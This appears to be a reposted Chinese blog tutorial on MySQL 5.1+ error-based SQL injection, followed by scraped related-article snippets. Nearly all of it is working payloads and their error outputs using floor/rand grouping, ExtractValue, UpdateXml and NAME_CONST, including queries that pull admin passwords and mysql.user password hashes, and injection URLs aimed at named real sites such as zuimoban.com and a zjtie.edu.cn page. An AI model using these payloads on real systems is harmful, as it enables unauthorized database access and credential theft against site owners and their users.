在MySQL 5.1+ 数据库上,常用的报错注入利用

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’

?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

转载来源不详, 地址:

http://www.dreaminto.com/2013/0620/753.html

另外一篇更加详细的

1、通过floor暴错

/*数据库版本*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*简单办法暴库*/

http://www.zuimoban.com/sql.php?id=info()

/*连接用户*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴内容*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.zuimoban.com/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))

http://www.zuimoban.com/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.zuimoban.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.zuimoban.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.zuimoban.com/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

(责任编辑:最模板)

mysql 5.1 concat min_MySQL 5.1+ 数据库报错注入利用相关推荐

  1. mysql中文注入_SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  2. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  3. mysql的count报错_Mysql报错注入原理分析count、rand、groupby

    0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和o ...

  4. mysql数据库报错1146_关于MySQL报错:[ERR] 1146

    最近因为电脑重装了系统,导致自己原本的数据库呗覆盖,需要重新重新安装数据库,但是由于我之前数据库版本是mysql 5.0.22,版本太低,所以小编决定安装mysql 5.7.23版本的,一开始没什么问 ...

  5. java连服务器mysql报错_tomcat程序连接服务器mysql数据库报错

    tomcat程序连接服务器mysql数据库,报 错误,后来用java程序直接连接数据库,发现可以连得上,可以操作数据库, 在网上查了设置数据库连接等待时间(wait_timeout)设置,也没用. 奇 ...

  6. jmeter连接MySQL出错_MySQL数据库之jmeter连接mysql数据库报错Cannot create PoolableConnectionFactory...

    本文主要向大家介绍了MySQL数据库之jmeter连接mysql数据库报错Cannot create PoolableConnectionFactory  ,通过具体的内容向大家展现,希望对大家学习M ...

  7. IDEA 2020.3 连接mysql数据库报错解决

    IDEA 2020.3 连接mysql数据库报错解决 问题: Cannot connect to "Connection". The server time zone value ...

  8. mysql修改存储引擎报错_修改mysql存储引擎备份数据库报错及解决方案

    备份数据库报错 原因:由于监控服务器最近cpu负载比较高.(cpu4核心,负载2.7左右)感觉很奇怪,因为别的服务器mysql占用的资源并不多,因此我首先优化了数据库的配置文件.cpu稍微下降了一点, ...

  9. MYSQL数据库报错 1055

    MYSQL数据库报错 1055 今天在做毕业设计,当点开要查看的视图的时候,爆出了1055的错,该错误如下: 错误原因:在MySQL5.7之后,sql_mode中默认存在ONLY_FULL_GROUP ...

最新文章

  1. 计算机基础在小学的教学论文,小学基础教育论文范文
  2. 026_图书管理案例
  3. 文巾解题 1744. 你能在你最喜欢的那天吃到你最喜欢的糖果吗?
  4. 运筹学最优化理论系列概念-单纯形法原理解析
  5. 人生最浪费生命的四件事,2017年别再做了!
  6. 基于jQuery的表单验证插件:jValidate
  7. 【数据结构与算法】之深入解析“随机翻转矩阵”的求解思路与算法示例
  8. ldap2.8.2_Spring LDAP 2.0.0发布
  9. 【JavaWeb】前端框架之Bootstrap
  10. 这一项经典功能即将回归!手机厂商们都后悔了...
  11. 实现远程访问局域网内的多台电脑
  12. 三国也风流服务器怎么不稳定呢,三国也风流手游
  13. 关于现代计算机的知识,从资本经济到知识经济:现代计算机的知识革命
  14. Winform 中 dataGridView 导出到Excel中的方法总结
  15. R语言安装及包的使用
  16. java基础面试题84道
  17. greasemonkey油猴子初学过程中遇到的问题
  18. 计算机硬件无法复制文件,笔记本电脑无法复制文件到新移动硬盘的解法
  19. MySQL数据库插入中文时出现Incorrect string value: '\xE6\x97\xB7\xE5\x85\xA8' for column 'sz_name' at row 1...
  20. Flask Template ( 模板学习)

热门文章

  1. [极客大挑战 2019]EasySQL
  2. vim 编辑演示_改变我生活的7个Vim技巧(含演示)
  3. db2 本地db 到实例_如何登录到FreeCodeCamp的本地实例
  4. git入门_绝对入门的Git
  5. 我如何使用Python帮助我选择了Google Summer of Code '19的组织
  6. 英语国家的学生学语法么?_纪念国家语法日
  7. 利用循环神经网络生成唐诗_可视化解释11种基本神经网络架构
  8. vue 设置输入法隐藏_iPhone键盘的12种隐藏用法,超好用!可惜没几个人知道!
  9. Mac上command not found: vituralenv
  10. msys2安装gcc、g++编译器